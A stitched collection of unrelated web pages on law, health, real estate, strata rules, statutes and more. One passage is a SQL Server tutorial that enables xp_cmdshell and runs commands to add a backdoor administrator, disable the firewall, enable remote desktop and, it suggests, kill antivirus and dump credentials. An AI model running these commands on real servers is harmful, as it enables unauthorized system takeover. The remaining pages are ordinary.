4. De Vera MA, Rahman MM, Bhole V, et al. Independent impact of gout on the risk of acute myocardial infarction among elderly women: a population-based study. Ann Rheum Dis. 2010;69:1162-1164. http://ard.bmj.com/content/early/2010/02/04/ard.2009.122770.abstract | <urn:uuid:a7cb860c-23ed-479e-962c-0e47deb915fd> | CC-MAIN-2022-33 | https://www.patientcareonline.com/view/gout-independent-risk-factor-chronic-kidney-disease-and-cardiovascular-disease | s3://commoncrawl/crawl-data/CC-MAIN-2022-33/segments/1659882573699.52/warc/CC-MAIN-20220819131019-20220819161019-00272.warc.gz | en | 0.934713 | 1,443 | 2.40625 | 2 |
ESSEX – NDP MPP Taras Natyshak says that World Water Day should be a reminder to Kathleen Wynne’s Liberal government that they are failing families located near Samsung’s North Kent One construction site in Chatham-Kent who have black well water coming from wells on their farms.
Natyshak and the group Water Wells First were at Queen’s Park recently demanding that the Ministry of Health perform a health hazard investigation at the farms to investigate the black water.
“Families in Chatham Kent are being let down every day by the Wynne Liberals,” said Natyshak. “These folks have lived on their farms for generations and never had a problem before – but now their water is undrinkable. Even when confronted with the black water during question period – the Liberals claimed it is safe. It’s disgusting that families in this area don’t have access to clean drinking water, it’s shameful and it has to change.”
Local residents have had the black water collected and analyzed by scientific experts who have found the water contains Black Shale sediment. Black Shale is a known environmental hazard because it contains heavy metals, yet residents have had trouble getting the Ministry of Environment and Climate Change to take the issue seriously. Natyshak has had reports that farmers are so concerned about using this contaminated water that some are feeding their livestock bottled water instead.
“The next step for these families is a health hazard investigation,” said Natyshak. “On World Water Day, I hope that the Wynne Liberals will do the right thing and start the investigation immediately. No one in our incredibly prosperous province should go without access to clean drinking water – whether that is these families in Chatham Kent, or Indigenous communities, some of which have been on boil water advisories for decades.”
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President Nicolas Sarkozy and former British Prime Minister Tony Blair during a meeting of the Union for a Popular Movement (UMP) party in Paris, France, 2008. Taamallah Mehdi/ Press Association. All rights reserved.On 14 December 2017, the 123 member states party to the International Criminal Court (ICC) made the historic decision to activate the Court’s jurisdiction over the crime of aggression. In principle, the ICC may be able to hold political or military leaders of states individually criminally responsible for the crime of aggression. However, to be effective, ratification is essential, and only a few ICC states are willing to comply with this decision. In particular, France and the United Kingdom, who have supported the work of the ICC since its creation, do not appear to wish to ratify the decision. Surely, it is time for them to do so.
The remit of the International Criminal Court
The aim of the ICC, which was created in 2002, is to put an end to impunity for perpetrators of the most serious crimes of concern to the international community, and to contribute to the prevention of such crimes. It aims to prosecute perpetrators of genocide, crimes against humanity, war crimes, and the crime of aggression. All these crimes, with the exception of the crime of aggression, were defined in the 2002 Statute of the ICC. States party to the ICC have been discussing the definition of the crime of aggression since then. In 2010 in Kampala, they agreed on the following definition:
the planning, preparation, initiation or execution, by a person in a position effectively to exercise control over or to direct the political or military action of a State, of an act of aggression which, by its character, gravity and scale, constitutes a manifest violation of the Charter of the United Nations.
The ‘act of aggression’ means: the invasion or attack by the armed forces of a State of the territory of another State; any military occupation or any annexation by the use of force; bombardment; blockade of the ports or coasts; an attack by armed forces; and the sending by or on behalf of a State of armed bands, groups, irregulars or mercenaries.
However, in 2010, states did not agree on the activation of ICC jurisdiction for this crime. Instead, they established that activation would only happen when at least 30 States Parties ratified the amendments, and when the Assembly of States Parties – which is composed of representatives of every state party – decided to do so. This would have to take place after January 2017.
Fifteen years after the creation of the ICC, in2017, the member states party to the ICC decided to activate the Court’s jurisdiction over the crime of aggression. The activation will be effective on 17 July 2018.
The special condition for investigating the crime of aggression
The procedure to investigate the crime of aggression seems completely different from that to investigate the three other crimes genocide, crimes against humanity and war crimes. For these three crimes, the ICC can prosecute any individual from any nationality in all states party to the ICC, and in all states which have been referred to by a United Nations Security Council (UNSC) resolution. It can also prosecute any individual in any state in the world whose nationality is that of a state party to the ICC (article 12 of the Rome Statute of the ICC).
For the crime of aggression, ‘the Court shall not (my emphasis) exercise its jurisdiction regarding a crime of aggression when committed by a national or on the territory of a State Party that has not ratified or accepted these amendments.’ The opinio iuris of States Parties underlying the resolution, and who wanted to limit the role of the ICC for the crime of aggression, was taken into account. Until now, only 35 states have ratified the Kampala amendments, so the crime of aggression can only be investigated in those states. If the UNSC referred the case of the crime of aggression in a non-party state to the ICC, the Court would also have jurisdiction in that state. The difference in procedure for the crime of aggression is unfortunate as it is more restrictive than that for the three other crimes. However, overall the ICC Statute is more complete than it was, and ‘international law often moves forward in imperfect ways’.
More states need to comply with this new Court remit. Canada, Japan and Norway were reluctant to ratify, but could be encouraged to do so by civil society in those countries. Lobbying is already taking place in Canada. One would expect the main supporters of the ICC, and members of the Security Council, France and the United Kingdom, to be leading other states to ratify the amendments on the crime of aggression.
France and the United Kingdom reluctant to ratify the amendments relative to the crime of aggression
There is no sign of France and the United Kingdom ratifying them. Most analysts argue that France does not want to make it possible for the ICC to investigate a head of state. According to campaigners in favour of the ICC, the British government lobbied to block the international criminal court from activating the war crime of aggression. The aim is also to protect Tony Blair and other British politicians from the risk of future prosecution. Don Ferencz, an academic at Oxford University, is very damning regarding the British and French position:
You’d think that, of all people, the nations which sat in judgment at Nuremberg would be embarrassed, if not ashamed, by the utter hypocrisy of failing to lead by example in accepting the court’s aggression jurisdiction.
What can be done? Pressure by the European Union on France and the United Kingdom
Together, EU states could put pressure on France and the United Kingdom in discussions in the Council of the European Union. They could stigmatize French and British leaders, who advocate the defence of human rights values, for not ratifying the ICC aggression decision. Most EU states have ratified, or are in the process of ratifying this decision. Luxembourg, Estonia, Germany, Malta, Czech Republic, Slovenia, Lithuania, Finland, Cyprus, Belgium, Croatia, Slovakia, Austria, the Netherlands, Portugal, Latvia, Spain, Poland have ratified the relevant amendments. The following States Parties are currently actively working on the ratification of the amendments on the crime of aggression: Bulgaria, Greece, Hungary, Italy, Romania, and Ireland. Denmark also seems to be on the way to ratification. All these states can rely on the support of the European Parliament to put pressure on the United Kingdom and France. It has clearly stated that the EU should adopt a common position on the crime of aggression, and that Member States should ratify the amendments related to this crime.
EU states could make it clear that only future crimes of aggression are concerned by the ICC Statute. The ICC will not prosecute the crime of aggression until after aggression jurisdiction is fully activated. Tony Blair, who already faced a (failed) attempt of prosecution by a former Iraqi general in 2017, would not be concerned. Nicolas Sarkozy, who also faces an attempt of prosecution for his role in the Libyan conflict in 2011, would also not be concerned. But he might be concerned by the other ICC procedure on war crimes and crimes against humanity, as in October 2017, a coalition of 15 West African civil society groups filed against the former French President Nicolas Sarkozy at the ICC.
International criminal law is progressing, but it can only do so if the states which present themselves as defenders of human rights decide to promote and comply with international law. Making international law progress is in the national interest of all states; this is far more important for justice and peace in the world than protecting future leaders who would be responsible for a crime of aggression.
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Musings from a Cosmology of Light #5: The Emergence of Time and Matter
We know it takes approximately eight minutes for light from the sun to reach earth. Imagine you are on a ray of light and half-way through that journey. As you look back you realize that four minutes ago you were at the sun. as you look forward you realize that in four minutes you are going to be at the earth.
Hence, the experience of past, present, and future arise because of the way light is traveling. By contrast if light were traveling infinitely fast, as it is proposed it is in its native state, then everything would be experienced in the Now.
The experience of past, present, and future arise because of the way light is traveling
So, three fundamental properties of our experience of reality arises due to the way light is traveling. But further, matter too arises because of the way light is traveling. As suggested in the musing on the big bang, this occurs when light is projected at c, and is due to the bridge-quanta precipitating vast amounts of information as matter.
Hence the intentionality of light traveling at c is such that it gives rise to past, present, future, and matter.
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You may come across SQL Server credentials in any number of ways. You may even log in with the default credentials (user: sa, password blank). Once you get in, what do you do?
The great thing about Microsoft SQL Server is once you get in, that often means a system level account on whatever machine you are on. There’s a nifty xp_cmdshell command that allows you to run whatever command you want as if you were at the command line.
Setup Your Testbed
For this setup, I installed Windows Server 2008, ran all the updates, and then installed SQL Server 2008. I left everything at default values except to enable the sa user rather than just Windows authentication.
Finally, I disabled the Windows Firewall just to make things easier (you could probably just enable port 1433). Run nmap just to make sure:
$ nmap 192.168.1.5
Starting Nmap 6.25 ( http://nmap.org ) at 2013-01-09 19:55 Eastern Standard Time
Nmap scan report for WIN-FHCFDHYMF3R.home (192.168.1.5)
Host is up (0.0025s latency).
Not shown: 988 closed ports
PORT STATE SERVICE
80/tcp open http
135/tcp open msrpc
139/tcp open netbios-ssn
445/tcp open microsoft-ds
1433/tcp open ms-sql-s
2383/tcp open ms-olap4
49152/tcp open unknown
49153/tcp open unknown
49154/tcp open unknown
49155/tcp open unknown
49156/tcp open unknown
49157/tcp open unknown
MAC Address: 00:26:BB:17:5D:94 (Apple)
Nmap done: 1 IP address (1 host up) scanned in 1.96 seconds
As you can see, port 1433 is open, so we have our testbed database server up and running.
How do you find a vulnerable host?
You can use the nmap scripts ms-sql-brute or ms-sql-empty-password depending on what you are looking for. You can also use the Metasploit module auxiliary/scanner/mssql/mssql_login. Both nmap and Metasploit have all sorts of scripts dealing with MS SQL Server.
How do you attack that host?
Again, both nmap and Metasploit have scripts to do this, but for the purpose of this article I’m going to use the Microsoft SQL Server Management Studio (free to download).
When you first pull it up, you’ll be asked for a location to connect to, along with credentials. Enter your sa account credentials (or whatever you have). Then click the New Query button (CTRL+N) and try your first xp_cmdshell command:
EXEC xp_cmdshell ‘whoami’
Chances are, you’ll get an error similar to the following:
Msg 15281, Level 16, State 1, Procedure xp_cmdshell, Line 1
SQL Server blocked access to procedure ‘sys.xp_cmdshell’ of component ‘xp_cmdshell’ because this component is turned off as part of the security configuration for this server. A system administrator can enable the use of ‘xp_cmdshell’ by using sp_configure. For more information about enabling ‘xp_cmdshell’, see “Surface Area Configuration” in SQL Server Books Online.
xp_cmdshell is turned off by default, but you can still turn it on. So back to the query, enter the following:
— To allow advanced options to be changed.
EXEC sp_configure ‘show advanced options’, 1
— To update the currently configured value for advanced options.
— To enable the feature.
EXEC sp_configure ‘xp_cmdshell’, 1
— To update the currently configured value for this feature.
Now go back and run your whoami command, and you should be successful. So what now? You can add your own administrator user, disable the firewall, and enable remote desktop (if not already enabled):
EXEC xp_cmdshell ‘net user colesec pa$$w0rd /ADD’
EXEC xp_cmdshell ‘net localgroup Administrators colesec /ADD’
EXEC xp_cmdshell ‘netsh firewall set opmode disable’
EXEC xp_cmdshell ‘reg add “HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server” /v fDenyTSConnections /t REG_DWORD /d 0 /f’
This of course will not work if your MS SQL user doesn’t have system level privileges. Other ideas to be more stealthy include simply using disabling anti-virus and using wce to grab credentials already on the system.
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IN this so-called new normal that we are currently in, we’ve had to adjust to so many new ways of living—such as wearing masks and physically distancing ourselves from people in public.
More than these, however, the need to keep ourselves and our surroundings clean and sanitized is never more emphasized than now.
Last week, I wrote about air quality in our properties and how it is crucial to maintain it, especially during this pandemic. Although the clamor for keeping condominiums, hotels, and hospitals clean and sanitized has always been there even before Covid-19, we have become more vigilant about it. And this includes something we may be taking for granted because it is something we cannot see: Indoor Air Quality or IAQ.
IAQ is the air quality within and around buildings and structures, especially related to the health and comfort of building occupants. As I stated in my previous column, we should not take IAQ for granted because a low level of IAQ can affect our health, leading to conditions such as aggravated asthma, bronchitis, emphysema, lung and heart diseases, and respiratory allergies. It can even affect mood and concentration.
Some of my friends in the property industry shared their thoughts on how important IAQ is in current times, especially now that we are doing our best to manage the Covid-19 situation. Property developers and managers shared their insights on air quality and how to achieve it, especially in an era of health and safety consciousness.
“The attention now is really to place much premium on disease prevention and stopping the contamination,” shared Gerold Fernando, executive director of Transactions and Advisory Services of KMC, a real-estate services firm. “Employees are a huge chunk of the human population and so all measures must pivot toward securing the well-being of the people, particularly the occupiers.”
“Indoor air quality has become a major concern in light of the pandemic situation. Depending on the building’s type of mechanical system, there are multiple ways to increase indoor air quality including installing UV [ultraviolet] lighting systems in your air-con ducts, having air purifiers and using ionizers,” explained Delfin C. Wenceslao, CEO of D.M. Wenceslao and chairman of Urban Land Institute (ULI). “For us, ensuring that continuous fresh air is supplied in our buildings’ enclosed and usable areas is still the most important way to maintain air quality.”
The importance of IAQ was also noted by Philip Mareschal, head of Property and Asset Management of JLL Philippines, especially since people spend significant time indoors at their offices. “The Covid-19 virus has put in the forefront the discussion having a good IAQ. Some easy ways of improving IAQ are getting indoor plants, use of air purifiers, cleaning and sanitizing your HVAC air ducts regularly, as well as checking building materials and furnishings.”
The advantage of air purifiers is that property managers, landlords, and even tenants can have good IAQ even in areas with poor natural air quality or properties that have not been originally designed with air quality in mind. State-of-the-art air purifiers like AtmosAir can be used in hospitals, office buildings, condominiums and residences. These systems have been able to actively reduce bacteria and dust particles, and other pathogens.
Sylvester Wong, vice president for Strategy, Development, and Cities at AECOM Asia Pacific, a global infrastructure firm, also stated how IAQ has figured into their work and living spaces. “The quality of our work and living spaces has always been of high priority, which has guided not only our air circulation and interior office design and greening, but also the choice of materials and their potential emissions,” Sylvester noted. He said that the factors they consider when it comes to indoors are flexibility in work hours, size of floorplates, space for employees, contained and compartmentalizable control, and access to fresh air.
For Christophe Vicic, Country Head of JLL Philippines, employee safety is important, and it is something that employers and their staff should plan and coordinate on. “Our priority is to ensure that protocols are fully defined. There’s no room for inaccuracies and there is no such as thing as enough when it comes to reminding your employees on what needs to be done when saving lives are at stake,” Christophe stressed.
According to Rick Santos, chairman and CEO of Santos Knight Frank, a real-estate services and advisory firm, Indoor Environmental Quality (IEQ) is a major consideration today in real-estate. “Healthy buildings have gone from ‘nice to have’ to ‘must have,’” Rick mused. “Clean indoor air, good lighting, thermal comfort, acoustics, and ergonomic furniture all contribute to creating an atmosphere that impact the well-being and health of employees and tenants.”
He added that even before Covid-19, they have seen a rising number of building owners and occupiers who have sought their help in enhancing their IEQ. The pandemic has only accelerated this trend.
As we continue to take on the new normal in the coming days, more challenges are to come, many that we may not have expected. It is important to prepare and not to take for granted our health and safety, especially when it comes to elements like IAQ. May we take our lessons from these real-estate leaders to take the measures they have suggested into our lifestyles, as we continue the battle with Covid-19 in our communities. | <urn:uuid:1e8f8c08-17b8-4431-bdef-504a475195b7> | CC-MAIN-2022-33 | https://businessmirror.com.ph/2020/06/10/how-real-estate-works-for-better-air-quality-in-the-new-normal/ | s3://commoncrawl/crawl-data/CC-MAIN-2022-33/segments/1659882570767.11/warc/CC-MAIN-20220808061828-20220808091828-00472.warc.gz | en | 0.965802 | 1,184 | 1.921875 | 2 |
Your past shapes who you are. The experiences you have throughout your life play an integral part in how you behave and look at the world. This may not seem like a big deal, but in certain circumstances, it can become a detriment to your success.
Keeping your focus on your past can actually negatively affect things in the future. From your work life to your love life, even your day-to-day things can be affected by an inability to move past negative experiences.
It’s perfectly normal to feel sad after a breakup, and even spend some time licking your emotional wounds. However, focusing on relationships that are long over is an unhealthy way to live your life.
You can sabotage your future love life by idealizing your ex. This sets up a standard in your mind that no future romantic interests can meet. This robs you of potential opportunities for what could be even greater relationships.
Each romantic relationship, however, has something valuable you can take from it. Allow yourself to learn the lessons that the relationship teaches, then give yourself permission to move on.
Most fears are caused by prior experiences. People who are afraid of dogs usually had a bad experience with a dog. People who avoid eating certain foods likely had a really bad reaction to that food when they tried it.
While this is a rather indirect way of dwelling on the past, it can close you off to new experiences.
Grudges can run deep. If a person feels that someone has wronged them, they could be hard pressed to let the person attempt to atone for their mistake.
Anger seems justified in a lot of circumstances. However, forgiveness is a major part of the healing process that can result in a tremendous restoration. People who were once alienated after a falling out can let bygones be bygones and start fresh.
Keep the Past in the Past
After a particularly negative experience, it’s human nature to put some emphasis on it. It’s important to remember that tomorrow is a brand new day. You can choose to start off with a completely blank slate.
Emotional responses are normal and grieving is a necessary process in tragic circumstances, but remaining stuck in that state is the danger. Emotional wounds begin to heal when, after a time of grieving, you move on with your life.
Take time to recover from negative experiences. However, it’s equally important that you make an effort to let bygones be bygones. Tomorrow is the first day of the rest of your life. Keep a positive outlook, even after a bad experience. Learn the lesson that the experience offers, file it away in your mind and choose to head in a positive direction.
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If you own a vehicle, you are already aware of how often a car can cause problems. By taking in some information about how to repair an automobile, you can save lots of money and stress. Use every one of these helpful auto repair the next time you need service. You will find it very useful in the next time you need to deal with vehicle repairs.
If something is not clear, don’t hesitate to clear this up with the mechanic before allowing him or her to make repairs to your vehicle. You want to avoid being surprised with additional charges after the repairs are done.
You might not have to contact a mechanic every time you have issues with your car. There are a few things that you can be fixed quite easily. If it is not a very difficult job, you will save money by attempting the repairs yourself.
Ask the technician at the repair shop you are considering if they have worked on the same make and model of vehicle before. If they say that they have, you should feel better about their ability to solve your problem.
Go over your automobile’s manual and make sure to mark important pages. You may even discover how to solve your car manual and fix the problem yourself.
Make sure the mechanic can work on your particular vehicle. If you are not confident in a local mechanic, take it to the dealer instead.
Be sure you know how often the oil change schedule. You should regularly get the oil changed to make sure your car running smoothly. If you don’t change it, your car may not last as long as it could.
You don’t necessarily have to go through your auto dealer to get work done. There are good mechanics all over that may be closer in proximity to your car. Find someone who you are comfortable with and reliable.
Auto problems can be very frustrating. They can be expensive too. If you learn a bit about auto repair, you can save money and have a properly running car all times. | <urn:uuid:ebbe4fa3-7b96-4690-939b-dc5ad2806b41> | CC-MAIN-2022-33 | https://gustavbrom-bigband.com/are-you-in-need-of-car-repairs-keep-reading-for-advice/ | s3://commoncrawl/crawl-data/CC-MAIN-2022-33/segments/1659882570767.11/warc/CC-MAIN-20220808061828-20220808091828-00472.warc.gz | en | 0.970013 | 403 | 1.867188 | 2 |
The strata committee of the owners corporation is a group which represents the lot owners.
It assists in administering the day-to-day running of the strata scheme and is elected at each Annual General Meeting (AGM). Once the strata committee is elected, the members of the committee decide who is to hold the officer positions of Chairman, Secretary & Treasurer.
There is no legal requirement as to how often strata committee meetings must be held. The secretary may convene meetings as required or one-third of the strata committee members may ask the secretary to call a strata committee meeting and set a time for the meeting to be held. If the secretary is away, any other strata committee member may act in that capacity.
The Secretary must put a notice about the meeting on the noticeboard at least 3 days before a strata committee meeting is held. If the owners corporation doesn’t have a noticeboard, or if the scheme is a large one, the meeting notice must be given to each owner and strata committee member. The notice must have a detailed agenda.
Objection to motions on agenda
Owners holding more than one-third of the total unit entitlements for the strata scheme can oppose any motion appearing on the agenda for an strata committee meeting. Written notice of the objection must be given to the Secretary of the strata committee before a decision on the motion is made.
Any decision made by the strata committee on that matter will have no force or effect.
Owners’ Attendance (Who are not members of the strata committee)
An owner, or where the owner is a corporation the company nominee of the corporation, can attend strata committee meetings but they cannot speak at the meeting unless the strata committee agrees by majority vote.
Election of Officers
At the first meeting of Strata Committee the office bearers are elected. The three positions to be filled are Chairperson, Secretary and Treasurer. One member may hold more than one office. With a managing agent engaged often the position of treasurer remains vacant with those functions being delegated to the agent.
Chairperson to preside
If the Chairperson is present they must preside at all meetings of the strata committee. If the Chairperson is away the strata committee must appoint another strata committee member to chair that meeting only. The Chairperson does not have a deciding vote.
The quorum for an strata committee meeting is at least half of the members.
Each strata committee member has one vote and must be financial to exercise this vote. If the strata committee member is not an Owner then the Owner that nominated them at the annual general meeting must be financial. The Chairperson does not have a casting vote under any circumstances. A decision on any motion at a strata committee meeting is made by a majority vote. A vote recorded as 50% in favour and 50% against results in the motion being lost.
The committee may also resolve to attend meetings by telephone or electronically. It is still necessary to issue an agenda and minute such meetings.
Adjournment of meetings
An strata committee meeting can be adjourned for any reason if a motion is passed at the meeting for the adjournment. Notice of when and where the adjourned meeting is to take place must be put on the noticeboard. If there is no noticeboard, a written notice must be given to each owner at least one day before the meeting.
Non-attendance at meetings
A strata committee member can appoint another owner or company nominee, whether or not they are a member of the strata committee already, to vote for them at a strata committee meeting. This delegation must be approved by the strata committee.
Voting in writing
Unlike general meetings, the strata committee can vote in writing even though the meeting was not physically held. A notice of the meeting and copy of the agenda must be put on the notice board 3 days before the proposed meeting, or a copy of the notice and agenda given to each owner if there is no notice board.
Where a meeting is to be conducted in writing a notice and agenda must also be given to each strata committee member. A resolution approved in writing by the majority of strata committee members is valid even though an actual meeting was not held. These resolutions must be put in the minutes.
Effect of decisions
Any decision made by the strata committee is treated as a decision of the owners corporation although there are some matters that the strata committee do not have the power to make (eg: raising levies). No individual strata committee member can make a decision for the owners corporation. (Unless the strata committee is comprised of only one owner). In the event of a dispute between the owners corporation and its strata committee, the decision of the owners corporation prevails.
Any owners corporation can limit the powers of its strata committee if it so desires. The restriction of powers is considered at the annual general meeting.
Restrictions of decisions (Legal expenses)
A decision of the owners corporation is required before the strata committee may commence or obtain legal advice on behalf of the owners corporation, except where the anticipated costs is less than $3000 or in the event of emergency where the limitation is $15,000.
Restrictions of decisions (Large schemes)
Unless authorised by resolution of the owners corporation, the strata committee of large schemes cannot spend more than 10% above the budgeted item for any item, except in an emergency. Specific emergencies include burst or blocked sewer pipes, serious fire or storm damage, electricity or security failures and serious glass breakages. A minimum of two quotes must also be obtained for works over $30,000.
Minutes of meetings
There are two ways the strata committee minutes can be made available:
- A copy can be given to each owner within seven days of the meeting, or
- A copy can be put on the noticeboard within seven days and must stay there for at least 14 days (but not if the scheme is a large one).
Where there is no noticeboard the strata committee must give a copy of the minutes to each owner within seven days.
Vacating positions on the Strata Committee
Any member may resign from the Strata Committee at any time. This must be done in writing. The Owners Corporation is required to fill any vacancy which occurs. The committee has the power to select the candidate.
If a member sells their property during the term of their appointment their position on the strata committee is automatically extinguished upon transfer of ownership.
A member can only be removed from office by special resolution of the Owner Corporation at a general meeting (or by order of the Tribunal).
Powers and duties of the Chairperson, Secretary and Treasurer
(Please note that the strata manager is usually delegated many of these duties by the Owners
The duties of the Chairperson of an owners corporation include:
- preside at meetings
- conduct meetings
- decide on issues relating to voting and procedure
The duties of the Secretary of an owners corporation include:
- preparing and providing notices for the owners corporation and its strata committee
- preparing and providing minutes of meetings and putting a motion to confirm the previous minutes
- maintaining the strata roll
- giving information to a person for the owners corporation under section 108
- answering correspondence addressed to the owners corporation
- convening meetings of the owners corporation and its strata committee (apart from its first AGM)
- doing all administrative and secretarial duties for the owners corporation and the strata committee.
The duties of the Treasurer of an owners corporation include:
- issue levy notices
- receive and bank monies on behalf of the Owners Corporation
- prepare Section 109 certificates
- prepare financial statements and other financial records
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Reciprocal Actuator with Differential Cylinders
This example shows a double-acting actuator with differential cylinders. The pump output is connected to cylinder B of the actuator while cylinder A of the actuator can be connected to either the pump or the reservoir through the 3-way directional valve. When cylinder A is connected to the pump, pressures at both cylinders become equal. Because of the larger effective piston area in cylinder A, the interface force in cylinder A is larger than that of in cylinder B which causes the piston to extend. When cylinder A is connected to the reservoir, the piston starts to retract. The 3-way directional valve is controlled by a sinusoidal signal to achieve repeating reciprocal motion in the actuator.
Mechanical Load Subsystem
Simulation Results from Scopes
Simulation Results from Simscape Logging
These plots show the 3-way valve opening area and the interface forces generated on each side of the actuator during the reciprocal motion. | <urn:uuid:8343b3ff-21fa-4d2c-95b9-4659f94fb4cb> | CC-MAIN-2022-33 | https://de.mathworks.com/help/physmod/hydro/ug/reciprocal-actuator-with-differential-cylinders.html | s3://commoncrawl/crawl-data/CC-MAIN-2022-33/segments/1659882570767.11/warc/CC-MAIN-20220808061828-20220808091828-00472.warc.gz | en | 0.885566 | 206 | 2.84375 | 3 |
Older children can be very demanding recipients, who often have to choose an interesting gift. As it is children – most often they buy various types of toys. However, children at this age can be picky, so you should carefully analyze what kind of toy to choose for him. Nowadays you can find hundreds of different models of toys in stores. There are so many of them that you can get lost. However, toys from the educational toy segment are always a good option. An older child will be able to constantly learn new skills that will help him find his way in new environments and interact with peers.
What are educational toys and how do they affect a child?
Educational toys are toys that give children a lot of fun and joy of spending time with them, but also enable through this play a constant development of a child. This is the definition of educational toys, which are created in increasing numbers. Depending on what toy you choose, they should meet the requirements, that is, affect at least one aspect of a child’s life – physical, cognitive, social, emotional. Designers try to include as many of these aspects as possible in a single toy.
Interesting educational toys that can be chosen for older children include creative puzzles. On the surface they look like ordinary puzzles, however, they are not identical. You can find a lot of different types of educational puzzles on the market that are very well designed. You can find different types of them, so you should match them to your child’s current interests. If he likes construction site or space then you can successfully find such puzzles. When they are assembled, either on the edges or in the middle, there are elements related to the category, so the child will be able to learn better and learn about the environments that interest him.
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2021 Florida Statutes (Including 2021B Session)
Child care and early childhood resource and referral.
Child care and early childhood resource and referral.
1002.92 Child care and early childhood resource and referral.—
(1) As a part of the school readiness program, the department shall establish a statewide child care resource and referral network that is unbiased and provides referrals to families for child care and information on available community resources. Preference shall be given to using early learning coalitions as the child care resource and referral agencies. If an early learning coalition cannot comply with the requirements to offer the resource information component or does not want to offer that service, the early learning coalition shall select the resource and referral agency for its county or multicounty region based upon the procurement requirements of s. 1002.84(13).
(2) At least one child care resource and referral agency must be established in each early learning coalition’s county or multicounty region. The department shall adopt rules regarding accessibility of child care resource and referral services offered through child care resource and referral agencies in each county or multicounty region which include, at a minimum, required hours of operation, methods by which parents may request services, and child care resource and referral staff training requirements.
(3) Child care resource and referral agencies shall provide the following services:
(a) Identification of existing public and private child care and early childhood education services, including child care services by public and private employers, and the development of an early learning provider performance profile of those services through the single statewide information system developed by the department under s. 1002.82(2)(q). These services may include family day care, public and private child care programs, the Voluntary Prekindergarten Education Program, Head Start, the school readiness program, special education programs for prekindergarten children with disabilities, services for children with developmental disabilities, full-time and part-time programs, before-school and after-school programs, and vacation care programs. The early learning provider performance profile shall include, but not be limited to:
1. Type of program.
2. Hours of service.
3. Ages of children served.
4. Number of children served.
5. Program information.
6. Fees and eligibility for services.
7. Availability of transportation.
8. Participation in the Child Care Food Program, if applicable.
9. A link to licensing inspection reports, if applicable.
10. The components of the Voluntary Prekindergarten Education Program performance metric calculated under s. 1002.68 which must consist of the program assessment composite score, learning gains score, achievement score, and its designations, if applicable.
11. The school readiness program assessment composite score and program assessment care level composite score results delineated by infant classrooms, toddler classrooms, and preschool classrooms results under s. 1002.82, if applicable.
12. Gold Seal Quality Care designation under s. 1002.945, if applicable.
13. Indication of whether the provider implements a curriculum approved by the department and the name of the curriculum, if applicable.
14. Participation in school readiness child assessment under s. 1002.82.
(b) Establishment of a referral process that responds to parental need for information and that is provided with full recognition of the confidentiality rights of parents. The resource and referral network shall make referrals to legally operating child care facilities. Referrals may not be made to a child care facility that is operating illegally.
(c) Maintenance of ongoing documentation of requests for service tabulated through the internal referral process through the single statewide information system. The following documentation of requests for service shall be maintained by the child care resource and referral network:
1. Number of calls and contacts to the child care resource information and referral network component by type of service requested.
2. Ages of children for whom service was requested.
3. Time category of child care requests for each child.
4. Special time category, such as nights, weekends, and swing shift.
5. Reason that the child care is needed.
6. Customer service survey data required under s. 1002.82(3).
(d) Assistance to families that connects them to parent education opportunities, the temporary cash assistance program, or social services programs that support families with children, and related child development support services.
(e) Assistance to families and employers in applying for various sources of subsidy, including, but not limited to, the Voluntary Prekindergarten Education Program, the school readiness program, Head Start, Project Independence, private scholarships, and the federal child and dependent care tax credit.
(f) Assistance to families to negotiate discounts or other special arrangements with child care providers.
(g) Assistance to families in identifying summer recreation camp and summer day camp programs to help families make informed choices. Contingent upon specific appropriation, a checklist of important health and safety qualities that parents can use to choose their summer camp programs shall be developed and distributed in a manner that will reach parents interested in such programs for their children.
(h) Assistance to families for accessing local community resources.
(4) A child care facility licensed under s. 402.305 and licensed and registered family day care homes must provide the statewide child care and resource and referral network with the following information annually:
(a) Type of program.
(b) Hours of service.
(c) Ages of children served.
(d) Fees and eligibility for services.
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Alert 13 – 04 Lower Marine Riser Package (LMRP) Connector Failure
The U.S. Bureau of Safety & Environmental Enforcement has issued a Safety Alert as the result of a number of incidents on rigs caused by a loss of integrity of LMRP H-4 connector bolts. BSEE instructed the operators of affected rigs to secure current well operations and to retrieve the LMRP and/or BOP to the surface. These operators were directed to suspend operations until the existing bolts on the LMRP connector/wellhead connector could be replaced or recertified. Replacement bolts must be certified by an independent third-party to be in compliance with recommended heat treatment practices, or the existing bolts have been examined and certified by an independent third-party that they are fit for purpose.
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Life moves quickly and big changes often happen in the blink of an eye. As your life circumstances change, it’s important to meet with your financial planner to discuss the potential impact to your financial plan and goals.
Merging two sets of finances together can be difficult. Shortly after you get married, or even before the big day, meet with your financial planner together. They will help you discuss goals, direction for investments and can create a joint financial plan. Combining assets can be much less stressful when you include your financial planner in the process.
Buying or Selling a Home
Your home is likely the largest purchase you will make in your lifetime. When buying, most real estate agents will recommend you talk with your lender to find out what you qualify for, yet the agent and lender rarely consider any of your other financial goals in the equation. On the selling side, the impact of the sale on your overall financial plan is rarely taken into consideration. Since your financial planner understands and is trying to help you achieve all of your long term goals, talking with him/her before buying or selling a home can help you stay on track and avoid mistakes.
Having a Baby (or a Grandchild)
Nothing shakes up your finances quite like welcoming a new baby into the family. If you are a new parent or grandparent, take some time to talk with your planner about any new expenses you will be incurring. You may also want to discuss starting a college fund. Letting your financial planner in on the excitement a new baby brings will give him/her the information necessary to continue helping you work towards your future goals.
Kids Going to College
Chances are your financial planner has helped you set up a college fund for your children or grandchildren and advised on the best way to save for those 4 (5?) expensive years. Now the time has arrived for the child(ren) to actually leave the nest and head to college. Give your planner a call to discuss the most appropriate strategies to pay for college education and take advantage of scholarships and financial aid while continuing to save for retirement and your other goals.
With a new job comes a new paycheck and, hopefully, a new 401(k) or other retirement plan. Your planning team can help you with decisions about investing in the new employer’s retirement plan, rolling over old plans, and allocating income into different savings and investment strategies.
Starting a Business
Starting a business is a big step and can require a great deal of initial capital. Get ahead of the curve by sitting down with your financial planner to see how much you have to invest in your business without jeopardizing your financial plan. Additionally, your planning team likely has referrals to accountants, business attorneys and other professionals who can help you get the new business off the ground.
This is the moment for which you’ve been planning. Before you show up for your last day on the job, sit down with your financial planner to discuss the implications (both financial and non-financial). Together you can discuss your financial retirement readiness, spending during retirement and how to continue working towards goals during retirement. Remember, retirement isn’t the end of financial planning and your planner wants you to have a successful, healthy retirement just as much as you do.
Death of a Family Member or Major Change in Health
